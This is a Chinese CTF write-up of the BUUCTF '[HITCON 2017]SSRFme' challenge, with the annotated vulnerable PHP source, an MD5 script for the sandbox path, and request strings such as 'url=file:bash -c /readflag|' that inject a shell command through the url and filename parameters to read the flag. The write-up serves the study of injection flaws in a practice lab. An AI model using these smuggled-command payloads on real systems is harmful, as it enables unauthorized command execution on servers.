71,【3】buuctf web [HITCON 2017]SSRFme

news2025/1/23 6:28:44

进入靶场

左上角是IP地址,下面有一堆代码

<?php
// 检查是否存在 HTTP_X_FORWARDED_FOR 头部信息
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    // 如果存在,将其按逗号分隔,并将第一个元素作为新的 REMOTE_ADDR
    $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
    $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

// 输出 REMOTE_ADDR 的值
echo $_SERVER["REMOTE_ADDR"];

// 创建一个沙箱目录,沙箱目录名称基于 "orange" 和 REMOTE_ADDR 的 MD5 哈希值
$sandbox = "sandbox/". md5("orange". $_SERVER["REMOTE_ADDR"]);
// 创建沙箱目录,如果目录已存在或创建失败,错误将被抑制
@mkdir($sandbox);
// 进入沙箱目录,如果切换目录失败,错误将被抑制
@chdir($sandbox);

// 使用 shell_exec 函数执行一个 GET 命令,并将 GET 请求中的 url 参数作为参数,使用 escapeshellarg 函数对参数进行转义
$data = shell_exec("GET ". escapeshellarg($_GET["url"]));
// 获取 GET 请求中 filename 参数的路径信息
$info = pathinfo($_GET["filename"]);
// 去除路径中的点,并将其作为目录名
$dir  = str_replace(".", "", basename($info["dirname"]));
// 创建目录,如果目录已存在或创建失败,错误将被抑制
@mkdir($dir);
// 进入目录,如果切换目录失败,错误将被抑制
@chdir($dir);
// 将 shell_exec 的结果写入文件,文件名为 GET 请求中 filename 参数的基本名称,如果文件已存在或写入失败,错误将被抑制
@file_put_contents(basename($info["basename"]), $data);
// 输出当前文件的源代码并进行语法高亮显示
highlight_file(__FILE__);

 REMOTE_ADDR 是一个服务器环境变量,在 Web 服务器环境中广泛使用,它通常表示客户端(通常是浏览器或其他客户端程序)的 IP 地址。

  • if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {...}
    • 首先检查 HTTP_X_FORWARDED_FOR 头部是否存在。HTTP_X_FORWARDED_FOR 通常包含了客户端经过的代理服务器的 IP 地址列表。
    • 如果存在,使用 explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']) 将其按逗号分隔,并将第一个元素作为新的 REMOTE_ADDR,这可能是为了追踪客户端的真实 IP 地址。
  • echo $_SERVER["REMOTE_ADDR"];
    • 输出当前客户端的 REMOTE_ADDR 信息,可能是修改后的真实 IP 或原始 IP。
  • $sandbox = "sandbox/". md5("orange". $_SERVER["REMOTE_ADDR"]);
    • 创建一个沙箱目录,其名称是 sandbox/ 加上 orange 和 REMOTE_ADDR 的 MD5 哈希值,目的可能是为了给不同的客户端创建一个隔离的工作目录。
  • @mkdir($sandbox); 和 @chdir($sandbox);
    • 使用 @ 符号抑制 mkdir 和 chdir 的错误,创建沙箱目录并切换到该目录。
  • $data = shell_exec("GET ". escapeshellarg($_GET["url"]));
    • 使用 shell_exec 函数执行一个命令,命令为 GET 加上 GET 请求中 url 参数的值,使用 escapeshellarg 对参数进行转义以防止命令行注入
  • $info = pathinfo($_GET["filename"]);
    • 获取 GET 请求中 filename 参数的路径信息,包括目录名、文件名等。
  • $dir = str_replace(".", "", basename($info["dirname"]));
    • 对 filename 参数的目录部分进行处理,将其中的点去掉,作为新的目录名。
  • @mkdir($dir); 和 @chdir($dir);
    • 创建并切换到新目录,使用 @ 抑制错误。
  • @file_put_contents(basename($info["basename"]), $data);
    • 将 shell_exec 命令的执行结果存储到文件中,文件名为 filename 参数的基本名称,使用 @ 抑制文件操作的错误。

先访问?url=/&filename=a 

此操作会创建目录

接下来该访问目录了

源代码中说目录名称是orange和IP地址的MD5值

我用了下面这个脚本转换

import hashlib

def calculate_md5(input_string):
    hash_md5 = hashlib.md5()
    hash_md5.update(input_string.encode('utf-8'))
    return hash_md5.hexdigest()

input_string = "orange192.168.122.15"
print(calculate_md5(input_string))

得到50d5f583d8a911dde39156ba3f03c3d5

那么访问的语句就是/sandbox/50d5f583d8a911dde39156ba3f03c3d5/a

看到了readflag,点又点不动

利用base -c "cmd"进行命令执行

/?url=&filename=bash -c /readflag|

?url=file:bash -c /readflag|&filename=a

/sandbox/50d5f583d8a911dde39156ba3f03c3d5/a

flag{ecfc6b8e-9d3e-4717-ace6-4a57d8465c81}

笔记

1,

/?url=/&filename=a

包含两个 GET 参数:

  • url 参数的值为 /。这里url不能为空
  • filename 参数的值为 a

/sandbox/50d5f583d8a911dde39156ba3f03c3d5/a

2,

 /?url=/&filename=bash -c /readflag| 

包含两个参数:

  • url 参数为/。这里url为空也行
  • filename 参数包含 bash -c /readflag|,这里使用了 bash -c 命令执行 /readflag,并且使用了 | 管道符,是想将 /readflag 命令的输出传递给另一个命令.

 /?url=file:bash -c /readflag|&filename=a

  • url 参数的值是 file:bash -c /readflag|
  • filename 参数的值是 a

/sandbox/50d5f583d8a911dde39156ba3f03c3d5/a

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2280756.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【TypeScript】模块化和命名空间、类型查找、类型缩小

模块化和命名空间 ts 在模块化中遵循 esm 规范&#xff0c;而且推荐导入类型时前面加上 type 字段&#xff0c;这些可以让一个非TypeScript编译器比如Babel、swc或者esbuild知道什么样的导入可以被安全移除。 TypeScript有它自己的模块格式&#xff0c;名为namespaces&#x…

城市生命线安全保障:技术应用与策略创新

城市生命线工程是维系城市正常运行、满足群众生产生活需要的重要基础设施。随着城市化进程的加快&#xff0c;城市基础设施生命线安全运行的复杂性日益加剧&#xff0c;保障城市居民日常生活正常运行的水、电、气、热等各类地下管线以及桥梁、市政设施、轨道交通等城市基础设施…

MVCC在MySQL中实现无锁的原理

一&#xff1a;基础知识 我们知道MySQL是多线程并发处理任务的。MySQL使用了MVCC来实现事务并发的无锁机制。 而且我们还需要知道MySQL的四种隔离级别&#xff1a;读未提交&#xff0c;读已提交&#xff08;RC&#xff09;&#xff0c;可重复读&#xff08;RR&#xff09;&am…

WPF实战案例 | C# WPF实现大学选课系统

WPF实战案例 | C# WPF实现大学选课系统 一、设计来源1.1 主界面1.2 登录界面1.3 新增课程界面1.4 修改密码界面 二、效果和源码2.1 界面设计&#xff08;XAML&#xff09;2.2 代码逻辑&#xff08;C#&#xff09; 源码下载更多优质源码分享 作者&#xff1a;xcLeigh 文章地址&a…

HTML5 Canvas和JavaScript的3D粒子星系效果

HTML部分 基本结构包括<html>, <head>, 和 <body>标签。<title>标签设置了页面标题为“优化版3D粒子星系”。<style>块定义了一些基本样式&#xff1a; body&#xff1a;无边距&#xff0c;隐藏滚动条&#xff0c;黑色背景&#xff0c;禁用触摸…

再见 Crontab!Linux 定时任务的新选择!

引言 说到 Linux 下定时执行任务&#xff0c;大多数人可能会想到 crontab&#xff1f;没错&#xff0c;它的确是 Linux 下比较通用和方便的方式&#xff0c;但是今天我来介绍一种新的方法来创建定时任务并且支持更多更强大的功能。 Systemd 很多小伙伴应该听说过 Systemd&…

Unity入门1

安装之后无法获得许可证&#xff0c;可以考虑重装 新建项目 单击空白处生成脚本 双击c#文件 会自动打开vstudio 检查引用 如果没有引用&#xff0c;重开vstu&#xff0c;或者重新加载项目 hierarchy层级 scenes场景 assets资产 inspector督察 icon图标 资源链接&…

【二叉树】遍历总结!

在很多问题中&#xff0c;熟练掌握二叉树的遍历方法&#xff0c;能够轻松解决很多问题。 新建一棵二叉树root[1,null,2,3] 1、前序遍历 前序遍历的顺序为根节点->左子树->右子树&#xff0c;按照以上二叉树&#xff0c;遍历顺序为[1&#xff0c;2&#xff0c;3]。代码为…

(2)STM32 USB设备开发-USB虚拟串口

例程&#xff1a;STM32USBdevice: 基于STM32的USB设备例子程序 - Gitee.com 本篇为USB虚拟串口教程&#xff0c;没有知识&#xff0c;全是实操&#xff0c;按照步骤就能获得一个STM32的USB虚拟串口。本例子是在野火F103MINI开发板上验证的&#xff0c;如果代码中出现一些外设的…

ASP .NET Core 学习(.NET9)部署(一)windows

在windows部署 ASP .NET Core 的时候IIS是不二选择 一、IIS安装 不论是在window7 、w10还是Windows Server&#xff0c;都是十分简单的&#xff0c;下面以Windows10为例 打开控制面版—程序—启用或关闭Windows功能 勾选图中的两项&#xff0c;其中的子项看需求自行勾选&am…

Java并发编程面试题:线程池Fork/Join(19题)

&#x1f9d1; 博主简介&#xff1a;CSDN博客专家&#xff0c;历代文学网&#xff08;PC端可以访问&#xff1a;https://literature.sinhy.com/#/?__c1000&#xff0c;移动端可微信小程序搜索“历代文学”&#xff09;总架构师&#xff0c;15年工作经验&#xff0c;精通Java编…

fyne 选项卡设计

用户界面的设计至关重要&#xff0c;它直接影响着用户体验。选卡设计作为一种常见的界面布局方式&#xff0c;能够有效地组织和展示信息&#xff0c;使用户能够方便快捷地浏览和操作。 Fyne 是一个用 Go 语言编写的跨平台 GUI 框架&#xff0c;它提供了丰富的组件和功能&#…

MySQL——主从同步

提醒&#xff1a;进行配置时&#xff0c;需要确保一主两从的操作系统、MySQL版本一致&#xff0c;否则将出现问题 环境介绍 服务器IP主服务器172.25.254.10从服务器-1172.25.254.11从服务器-2172.25.254.12 配置 # 快速配置&#xff0c;选择多重执行&#xff0c;确保版本一…

IDEA中Maven使用的踩坑与最佳实践

文章目录 IDEA中Maven使用的踩坑与最佳实践一、环境配置类问题1. Maven环境配置2. IDEA中Maven配置建议 二、常见问题与解决方案1. 依赖下载失败2. 依赖冲突解决3. 编译问题修复 三、效率提升技巧1. IDEA Maven Helper插件使用2. 常用Maven命令配置3. 多模块项目配置4. 资源文件…

VIVADO-block desgn 中时钟连线报错

问题描述 1.自定义的IP核由于封装不规范&#xff0c;输出的时钟引脚缺少该时钟的相关信息 正常时钟引脚属性 异常的时钟引脚属性 2.run connection automation 中无法找到这种缺少信息的时钟源 3.axi_clk与axi interconnect时钟频率不匹配 解决方案&#xff1a; 1.用BUFG将缺少…

CSDN 博客之星 2024:默语的技术进阶与社区耕耘之旅

CSDN 博客之星 2024&#xff1a;默语的技术进阶与社区耕耘之旅 &#x1f31f; 默语&#xff0c;是一位在技术分享与社区建设中坚持深耕的博客作者。今年&#xff0c;我有幸再次入围成为 CSDN 博客之星TOP300 的一员&#xff0c;这既是对过往努力的肯定&#xff0c;也是对未来探…

BUUCTF_Web(UPLOAD COURSE 1)

打开靶机&#xff0c;发现需要上传文件&#xff0c;尝试一句话木马蚁剑链接 一句话木马 【基本原理】利用文件上传漏洞&#xff0c;往目标网站中上传一句话木马&#xff0c;然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。表示后面即使执行错误&#…

车载软件架构 --- CP和AP作为中央计算平台的软件架构双核心

我是穿拖鞋的汉子&#xff0c;魔都中坚持长期主义的汽车电子工程师。 老规矩&#xff0c;分享一段喜欢的文字&#xff0c;避免自己成为高知识低文化的工程师&#xff1a; 简单&#xff0c;单纯&#xff0c;喜欢独处&#xff0c;独来独往&#xff0c;不易合同频过着接地气的生活…

docker ubuntu:20.04构建c++ grpc环境

由c grpc必须源码编译&#xff0c;ubuntu版本不同可能出现的问题也不同&#xff0c;这里分享下我的构建过程。 我是vscode结合docker去安装c虚拟环境&#xff0c;我不想污染本机环境。 vscode的插件Dev Containers Dockerfile如下(如果单纯是ubuntu环境构建&#xff0c;可忽略该…

PV-RCNN、PV-RCNN++ 网络结构

paper&#xff1a; PV-RCNN https://arxiv.org/abs/1912.13192PV-RCNN https://arxiv.org/abs/2102.00463 github&#xff1a;使用OpenPCDet进行训练测试 https://github.com/open-mmlab/OpenPCDet PV-RCNN 简介 PV-RCNN的提出是想要综合 point-based 和 voxel-based 3D目…